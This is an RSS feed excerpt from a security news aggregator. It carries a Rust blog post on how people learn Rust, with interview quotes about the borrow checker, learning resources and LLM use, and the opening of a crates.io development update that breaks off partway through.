<content:encoded><![CDATA[<p>Author: TLDR Business - Bewertung: 3005x - Views:61018 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Lz6NBJtxYEE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Sign up to Brilliant (the first 200 sign ups get 20% off an annual premium subscription): https://brilliant.org/tldruk/<br />
<br />
Google used to be the masters of search, but with AI tools beginning to roll out Microsoft&#039;s ChatGPT inspired &quot;New Bing&quot; is beginning to be real competition. So in this video we unpack how the AI race is playing out, how Google, Microsoft, Apple, Amazon and others are coping.<br />
<br />
💬 Twitter: https://twitter.com/tldrnewsuk<br />
📸 Instagram: http://www.instagram.com/tldrnewsuk<br />
🎞 TikTok: https://www.tiktok.com/@tldrnews<br />
🗣 Discord: https://tldrnews.co.uk/discord<br />
<br />
💡 Got a Topic Suggestion? - https://forms.gle/mahEFmsW1yGTNEYXA<br />
<br />
Support TLDR on Patreon: http://www.patreon.com/tldrnews<br />
Donate by PayPal: https://tldrnews.co.uk/funding<br />
TLDR Store: https://www.tldrnews.co.uk/store<br />
TLDR TeeSpring Store: https://teespring.com/stores/tldr-spring<br />
Learn About Our Funding: https://tldrnews.co.uk/funding<br />
<br />
TLDR is all about getting you up to date with the news of today, without bias and without filter. We aim to give you the information you need, quickly and simply so that you can make your own decision.<br />
<br />
TLDR is a completely independent &amp; privately owned media company that&#039;s not afraid to tackle the issues we think are most important. The channel is run by just a small group of young people, with us hoping to pass on our enthusiasm for politics to other young people. We are primarily fan sourced with most of our funding coming from donations and ad revenue. No shady corporations, no one telling us what to say. We can&#039;t wait to grow further and help more people get informed. Help support us by subscribing, following, and backing us on Patreon. Thanks!<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
